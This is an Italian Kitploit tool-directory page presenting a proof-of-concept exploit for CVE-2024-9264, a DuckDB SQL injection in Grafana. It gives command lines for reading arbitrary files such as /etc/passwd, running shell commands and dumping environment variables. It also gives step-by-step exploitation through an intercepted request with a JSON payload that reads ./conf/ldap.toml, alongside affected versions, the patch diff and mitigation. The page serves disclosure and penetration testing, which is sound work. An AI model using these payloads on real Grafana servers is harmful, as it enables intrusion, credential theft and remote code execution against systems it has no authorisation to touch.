Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-9264 — Exploit per Grafana per lettura arbitraria di file e RCE (CVE-2024-9264) | Kitploit
Strumenti/GitHubGitHub/nollium/cve-2024-9264
Generazione di PayloadAnalisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubnollium/cve-2024-9264

CVE-2024-9264

Exploit per Grafana per lettura arbitraria di file e RCE (CVE-2024-9264)

Vedi Repository
132161 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-9264

Grafana Post-Auth DuckDB SQL Injection (RCE, Lettura file)

Proof of Concept (PoC)

Questa PoC dimostra lo sfruttamento di CVE-2024-9264 usando un utente autenticato per eseguire una query SQL DuckDB e leggere un file arbitrario dal filesystem o eseguire codice arbitrario in remoto.

Il codice arbitrario può essere eseguito solo su Grafana v11.0.0.

I file possono essere letti in tutte le versioni vulnerabili.

Setup: Installa le dipendenze necessarie tramite:

root@kitploit:~
pip install -r requirements.txt

Utilizzo

Lettura file (universale):

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass  -f /etc/passwd  http://localhost:3000

Esecuzione comandi (solo v11.0.0)

root@kitploit:~
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000

Puoi anche eseguire query DuckDB arbitrarie, come chiamare getenv per recuperare variabili d'ambiente:

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000

L'elenco delle funzioni DuckDB di utilità che possono essere sfruttate è disponibile qui.

Panoramica della vulnerabilità

CVE-2024-9264 è una vulnerabilità di SQL injection DuckDB nella funzionalità sperimentale SQL Expressions di Grafana. Qualsiasi utente autenticato può eseguire query SQL DuckDB arbitrarie attraverso espressioni modificate nei dashboard di Grafana.

Versioni affette:

  • Grafana OSS ed Enterprise versioni 11.0.0 - 11.0.5, 11.1.0 - 11.1.6 e 11.2.0 - 11.2.1.

Versioni corrette:

  • 11.0.5+security-01 e successive

Trovare la patch

Grafana ha rilasciato versioni speciali per risolvere questa vulnerabilità. Per analizzare la patch, si possono usare i seguenti comandi per confrontare le modifiche:

root@kitploit:~
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495

Ciò rivela che la funzionalità SQL Expressions è stata semplicemente rimossa dalle versioni vulnerabili.

root@kitploit:~
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+       "errors"
+
+       "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+       return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+       return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+       return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+       return &DB{}
+}
root@kitploit:~
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
 
        rsp := mathexp.Results{}
 
-       duckDB := duck.NewInMemoryDB()
+       duckDB := sql.NewInMemoryDB()
        var frame = &data.Frame{}
        err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
        if err != nil {

La patch rimuove completamente SQL Expressions, impedendo la possibilità di sfruttamento.

Sfruttare la vulnerabilità

  1. Avvia Grafana: Esegui Grafana con la versione 11.0.5:

    root@kitploit:~
    docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
    
  2. Modifica un'Espressione: Crea un dashboard con un'espressione come "Math", intercetta la richiesta con Burp e modifica il tipo datasource da math a sql.

    Una richiesta HTTP verrà inviata a /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101.

    Di seguito è riportato il JSON minimo necessario per eseguire una query SQL DuckDB per leggere un file arbitrario come ./conf/ldap.toml:

    root@kitploit:~
    {
      "queries": [
        {
          "refId": "B",
          "datasource": {
            "type": "__expr__",
            "uid": "__expr__",
            "name": "Expression"
          },
          "type": "sql",
          "hide": false,
          "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
          "window": ""
        }
      ],
      "from": "1729313027261",
      "to": "1729334627261"
    }
    

Non è necessario che un dashboard sia presente per lo sfruttamento effettivo; è solo un modo semplice per trovare la richiesta HTTP per eseguire una query.

Probabilità di sfruttabilità

È importante notare che, sebbene questa vulnerabilità sia critica, la sua sfruttabilità dipende dal fatto che il binario DuckDB sia installato sul server Grafana. Per impostazione predefinita, Grafana non viene fornito con DuckDB installato e non esiste un'opzione per installarlo direttamente dall'interfaccia di Grafana.

Affinché questa vulnerabilità sia sfruttabile, un amministratore deve aver installato manualmente DuckDB e averlo aggiunto al $PATH del server Grafana. Se DuckDB non è presente, la vulnerabilità di SQL injection non può essere sfruttata, riducendo significativamente la probabilità di uno sfruttamento riuscito nelle installazioni predefinite.

Mitigazione

Aggiorna Grafana alle versioni corrette e assicurati che il binario DuckDB non sia presente nel $PATH se l'aggiornamento è ritardato.

Crediti

Questa PoC utilizza il framework ten sviluppato da cfreal.

Scarica lo strumento